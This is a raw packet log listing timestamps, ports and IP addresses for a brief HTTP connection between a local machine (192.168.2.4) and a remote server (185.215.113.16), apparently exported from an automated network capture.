Dec 27, 2024 09:13:05.337038994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.337100983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.337178946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.337234020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.338984013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.339087963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.339152098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.340861082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.340946913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.341346025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.342709064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.342803955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.343880892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.344075918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.344182014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.344245911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.345957994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.346123934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.346187115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.347954988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.348038912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.349318981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.349711895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.349858999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.351605892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.351665020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.351682901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.351732969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.353497028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.353610039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.353673935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.355381966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.355479956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.357270002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.357347965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.357388973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.359122992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.359181881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.359237909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.359340906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.362572908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.362689018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.362757921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.363533020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.363639116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.365320921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.365454912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.365608931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.367271900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.367371082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.443496943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.443864107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.444055080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.449991941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.450063944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.450114965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.450735092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.450809956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.452115059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.452127934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.452159882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.452186108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.454895020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.455257893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.455271959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.455632925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.456496000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.456548929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.456619978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.456633091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.456672907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.460323095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.460336924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.460350990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.460366964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.460391045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.460416079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.461370945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.461540937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.461584091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.462558031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.462734938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.462793112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.463939905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.463958025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.463999033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.464903116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.465069056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.465298891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.466236115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.466249943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.466289997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.467370033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.467514992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.467560053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.488403082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.488492966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.488569021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.488837957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.489016056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.489048004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.489101887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.489706993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.489746094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.489808083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.490659952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.490729094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.490803957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.491775036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.491930008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.491992950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.575290918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.575381041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.575494051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.575752020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.575925112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.575992107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.576805115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.576992989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.577049017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.577889919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.578099966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.578161001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.579004049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.579057932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.579116106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.580018044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.580125093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.580183029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.581063032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.581191063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.581245899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.582159042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.582258940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.582314968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.583210945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.583301067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.583347082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.584311008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.584359884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.584403992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.585308075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.585433006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.585480928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.586503983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.586569071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.586613894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.587461948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.587544918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.587589025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.588488102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.612596989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.612622023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.612672091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.612941027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.612993956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.613038063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.614038944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.614051104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.614085913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.615046024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.615092993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.615161896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.616080046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.616128922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.616141081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.656263113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.665235043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.665303946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.665365934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.665704012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.700107098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.700144053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.700217009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.700367928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.700432062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.700459003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.701431990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.701483965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.701551914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.702513933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.702562094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.702629089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.703574896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.703627110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.703672886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.704655886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.704701900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.704727888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.705722094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.705734968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.705774069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.706741095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.706789970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.706860065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.707849979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.707899094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.707918882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.708970070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.709012985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.709033012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.709934950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.709980965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.710102081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.711033106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.711078882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.711164951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.712138891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.712186098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.712343931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.713074923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.713114977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.738154888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.738230944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.738297939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.738675117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.738688946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.738745928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.739737988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.739749908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.739789009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.740797997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.740812063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.740850925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.741830111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.741842985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.741895914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.742927074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.742938042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.742976904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.788492918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.788697958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.788764954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.788878918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.825591087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.825709105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.825740099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.826045990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.826105118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.826143026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.827152014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.827198982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.827207088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.828161001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.828208923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.828382015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.829260111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.829308033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.829353094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.830301046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.830348969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.830435038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.831388950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.831446886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.831528902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.832448959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.832499981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.832537889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.833499908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.833555937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.833611012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.834578037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.834633112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.834675074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.835618019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.835671902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.835724115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.836730957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.836776972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.836802006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.837788105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.837836981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.837867975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.863004923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.863044024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.863082886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.863492966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.863554001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.863702059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.864531994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.864598989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.864620924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.865641117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.865686893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.865698099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.866677046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.866727114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.866751909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.867770910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.867782116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.867821932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.913562059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.913638115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.913662910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.913873911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.913925886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.950304031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.950462103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.950639963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.950819016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.951056004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.951069117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.951117039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.952070951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.952083111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.952132940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.952811003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.952867985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.952877045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.953857899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.953926086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.953958035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.954972982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.954999924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.955060959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.955995083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.956095934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.956156969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.957067013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.957115889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.957178116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.958157063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.958214045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.958275080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.959187031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.959249020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.959274054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.960341930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.960400105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.960448027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.961297035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.961340904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.961400032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.962455034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.962466955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.962531090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.963407993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.967406988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:05.987819910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:05.987843990 CET	80	49743	185.215.113.16	192.168.2.4
